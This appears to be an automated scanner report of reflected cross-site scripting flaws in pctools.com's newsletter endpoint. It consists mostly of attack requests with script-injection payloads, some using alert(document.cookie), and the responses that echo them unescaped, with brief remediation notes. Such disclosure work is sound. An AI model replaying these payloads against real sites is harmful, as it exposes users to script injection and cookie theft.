GET /res/ajax/newsletter.php78171<script>alert(1)</script>ab2ad77cf21 HTTP/1.1 Host: www.pctools.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=263908883.1292625229.1.1.utmcsr=msnuk|utmccn=msnuk|utmcmd=cpc; mbox=check#true#1292625289|session#1292625228850-498824#1292627089|PC#1292625228850-498824.20#1293834831; ccheck=msnuk; referrer=msnuk; marincur=usd; s_pers=%20s_nr%3D1292625233898-New%7C1313361233898%3B%20event69%3Devent69%7C1313361233902%3B; IS3_History=1292540208-1-52_10-1-+13-1-+33-1-+5--1+6--1+7--1+9--1+25--1+26--1+27--1__10-13-33-5-6-7-9-25-26-27_; isvt_visitor=xD1uIAoBC2YAAElVsDIAAAAAAAQMmTcKgHYdTG; JS9K=0; IS3_GSV=DPL-2_TES-1292625233_PCT-1292625233_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; PHPSESSID=3a96b8bc9429b43e51bce102e5a40e4d; __utma=263908883.1482675058.1292625229.1292625229.1292625229.1; reftrack=msnuk%2320101217223359; __utmc=263908883; __utmb=263908883.1.10.1292625229; refid=0;
Response (redirected)
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www6.pctools.com:8080 Date: Fri, 17 Dec 2010 22:40:43 GMT Content-Length: 21160 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>ab2ad77cf21/">/res/ajax/newsletter.php78171<script>alert(1)</script>ab2ad77cf21/</a> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 46fed"><script>alert(1)</script>fdfdb823f64 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /res/ajax/newsletter.php46fed"><script>alert(1)</script>fdfdb823f64 HTTP/1.1 Host: www.pctools.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=263908883.1292625229.1.1.utmcsr=msnuk|utmccn=msnuk|utmcmd=cpc; mbox=check#true#1292625289|session#1292625228850-498824#1292627089|PC#1292625228850-498824.20#1293834831; ccheck=msnuk; referrer=msnuk; marincur=usd; s_pers=%20s_nr%3D1292625233898-New%7C1313361233898%3B%20event69%3Devent69%7C1313361233902%3B; IS3_History=1292540208-1-52_10-1-+13-1-+33-1-+5--1+6--1+7--1+9--1+25--1+26--1+27--1__10-13-33-5-6-7-9-25-26-27_; isvt_visitor=xD1uIAoBC2YAAElVsDIAAAAAAAQMmTcKgHYdTG; JS9K=0; IS3_GSV=DPL-2_TES-1292625233_PCT-1292625233_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; PHPSESSID=3a96b8bc9429b43e51bce102e5a40e4d; __utma=263908883.1482675058.1292625229.1292625229.1292625229.1; reftrack=msnuk%2320101217223359; __utmc=263908883; __utmb=263908883.1.10.1292625229; refid=0;
Response (redirected)
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www5.pctools.com:8080 Date: Fri, 17 Dec 2010 22:40:39 GMT Content-Length: 21168 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/res/ajax/newsletter.php46fed"><script>alert(1)</script>fdfdb823f64/"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e5de5"-alert(1)-"34e68cf50a9 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /res/ajax/newsletter.phpe5de5"-alert(1)-"34e68cf50a9 HTTP/1.1 Host: www.pctools.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=263908883.1292625229.1.1.utmcsr=msnuk|utmccn=msnuk|utmcmd=cpc; mbox=check#true#1292625289|session#1292625228850-498824#1292627089|PC#1292625228850-498824.20#1293834831; ccheck=msnuk; referrer=msnuk; marincur=usd; s_pers=%20s_nr%3D1292625233898-New%7C1313361233898%3B%20event69%3Devent69%7C1313361233902%3B; IS3_History=1292540208-1-52_10-1-+13-1-+33-1-+5--1+6--1+7--1+9--1+25--1+26--1+27--1__10-13-33-5-6-7-9-25-26-27_; isvt_visitor=xD1uIAoBC2YAAElVsDIAAAAAAAQMmTcKgHYdTG; JS9K=0; IS3_GSV=DPL-2_TES-1292625233_PCT-1292625233_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; PHPSESSID=3a96b8bc9429b43e51bce102e5a40e4d; __utma=263908883.1482675058.1292625229.1292625229.1292625229.1; reftrack=msnuk%2320101217223359; __utmc=263908883; __utmb=263908883.1.10.1292625229; refid=0;
Response (redirected)
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www2.pctools.com:8080 Date: Fri, 17 Dec 2010 22:40:41 GMT Content-Length: 21108 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/res/ajax/newsletter.phpe5de5"-alert(1)-"34e68cf50a9/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a4a19"-alert(1)-"2fa258a9330 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www7.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:21 GMT Connection: close Content-Length: 21304
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/res/ajaxa4a19"-alert(1)-"2fa258a9330/newsletter.php78171%3Cscript%3Ealert(1)%3C/script%3Eab2ad77cf21/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 56179<script>alert(1)</script>ef84c8aa24d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www1.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:23 GMT Connection: close Content-Length: 21356
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>ef84c8aa24d/newsletter.php78171%3Cscript%3Ealert(1)%3C/script%3Eab2ad77cf21/">/res/ajax56179<script>alert(1)</script>ef84c8aa24d/newsletter.php78171%3Cscript%3Ealert(1)%3C/script%3Eab2ad77cf21/</a> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c8d1"><script>alert(1)</script>10b93361386 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www2.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:20 GMT Connection: close Content-Length: 21364
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/res/ajax5c8d1"><script>alert(1)</script>10b93361386/newsletter.php78171%3Cscript%3Ealert(1)%3C/script%3Eab2ad77cf21/"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 36239"-alert(1)-"c3bd0b886f6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www1.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:25 GMT Connection: close Content-Length: 21304
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/res/ajax/newsletter.php78171%3Cscript%3Ealert(1)%3C36239"-alert(1)-"c3bd0b886f6/script%3Eab2ad77cf21/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 9ae9a<script>alert(1)</script>ef5cfdaa89 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www1.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:25 GMT Connection: close Content-Length: 21352
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>ef5cfdaa89/script%3Eab2ad77cf21/">/res/ajax/newsletter.php78171%3Cscript%3Ealert(1)%3C9ae9a<script>alert(1)</script>ef5cfdaa89/script%3Eab2ad77cf21/</a> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 114a2"><script>alert(1)</script>13ff291f564 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www7.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:23 GMT Connection: close Content-Length: 21364
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/res/ajax/newsletter.php78171%3Cscript%3Ealert(1)%3C114a2"><script>alert(1)</script>13ff291f564/script%3Eab2ad77cf21/"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1ebdf"><script>alert(1)</script>e95e4de5123 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www1.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:26 GMT Connection: close Content-Length: 21364
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/res/ajax/newsletter.php78171%3Cscript%3Ealert(1)%3C/script%3Eab2ad77cf211ebdf"><script>alert(1)</script>e95e4de5123/"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload d4165<script>alert(1)</script>16bf1fefcf3 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www1.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:27 GMT Connection: close Content-Length: 21356
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>16bf1fefcf3/">/res/ajax/newsletter.php78171%3Cscript%3Ealert(1)%3C/script%3Eab2ad77cf21d4165<script>alert(1)</script>16bf1fefcf3/</a> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 53710"-alert(1)-"4bd6f5d7fd3 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www7.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:27 GMT Connection: close Content-Length: 21304
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/res/ajax/newsletter.php78171%3Cscript%3Ealert(1)%3C/script%3Eab2ad77cf2153710"-alert(1)-"4bd6f5d7fd3/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script> ...[SNIP]...
1.46. http://www.pctools.com/res/ajax/newsletter.php78171%3Cscript%3Ealert(1)%3C/script%3Eab2ad77cf21/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2d348"><script>alert(1)</script>106491d4357 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www7.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:14 GMT Connection: close Content-Length: 21380
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/res/ajax/newsletter.php78171%3Cscript%3Ealert(1)%3C/script%3Eab2ad77cf21/?2d348"><script>alert(1)</script>106491d4357=1/"> ...[SNIP]...
1.47. http://www.pctools.com/res/ajax/newsletter.php78171%3Cscript%3Ealert(1)%3C/script%3Eab2ad77cf21/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 74153"-alert(1)-"9fc71cf6c31 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www3.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:17 GMT Connection: close Content-Length: 21320
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/res/ajax/newsletter.php78171%3Cscript%3Ealert(1)%3C/script%3Eab2ad77cf21/?74153"-alert(1)-"9fc71cf6c31=1/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script> ...[SNIP]...
1.48. http://www.pctools.com/res/ajax/newsletter.php78171%3Cscript%3Ealert(1)%3C/script%3Eab2ad77cf21/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload aa9bf<script>alert(1)</script>33e066838d6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www3.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:19 GMT Connection: close Content-Length: 21372
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>33e066838d6=1/">/res/ajax/newsletter.php78171%3Cscript%3Ealert(1)%3C/script%3Eab2ad77cf21/?aa9bf<script>alert(1)</script>33e066838d6=1/</a> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 75657<script>alert(1)</script>b11e85953ad was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www4.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:03 GMT Connection: close Content-Length: 21344
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>b11e85953ad/newsletter.php/">/res/ajaxefa34%22-alert(document.cookie)-%2268ff74b398c75657<script>alert(1)</script>b11e85953ad/newsletter.php/</a> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5e5a2"-alert(1)-"dee8cac4c2d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www6.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:01 GMT Connection: close Content-Length: 21292
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/res/ajaxefa34%22-alert(document.cookie)-%2268ff74b398c5e5a2"-alert(1)-"dee8cac4c2d/newsletter.php/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28410"><script>alert(1)</script>ad4c04ace21 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www6.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:00 GMT Connection: close Content-Length: 21352
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/res/ajaxefa34%22-alert(document.cookie)-%2268ff74b398c28410"><script>alert(1)</script>ad4c04ace21/newsletter.php/"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload de4ad<script>alert(1)</script>77041dc840c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www4.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:07 GMT Connection: close Content-Length: 21344
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>77041dc840c/">/res/ajaxefa34%22-alert(document.cookie)-%2268ff74b398c/newsletter.phpde4ad<script>alert(1)</script>77041dc840c/</a> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3912"><script>alert(1)</script>31b0f871f00 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www4.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:03 GMT Connection: close Content-Length: 21352
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/res/ajaxefa34%22-alert(document.cookie)-%2268ff74b398c/newsletter.phpf3912"><script>alert(1)</script>31b0f871f00/"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 50218"-alert(1)-"8183312ca84 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www6.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:05 GMT Connection: close Content-Length: 21292
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/res/ajaxefa34%22-alert(document.cookie)-%2268ff74b398c/newsletter.php50218"-alert(1)-"8183312ca84/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script> ...[SNIP]...
1.55. http://www.pctools.com/res/ajaxefa34%22-alert(document.cookie)-%2268ff74b398c/newsletter.php/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13ab4"><script>alert(1)</script>9e6fca0604c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www3.pctools.com:8080 Date: Sat, 18 Dec 2010 00:54:58 GMT Connection: close Content-Length: 21368
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/res/ajaxefa34%22-alert(document.cookie)-%2268ff74b398c/newsletter.php/?13ab4"><script>alert(1)</script>9e6fca0604c=1/"> ...[SNIP]...
1.56. http://www.pctools.com/res/ajaxefa34%22-alert(document.cookie)-%2268ff74b398c/newsletter.php/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c3a7c"-alert(1)-"13c208313de was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www6.pctools.com:8080 Date: Sat, 18 Dec 2010 00:54:59 GMT Connection: close Content-Length: 21308
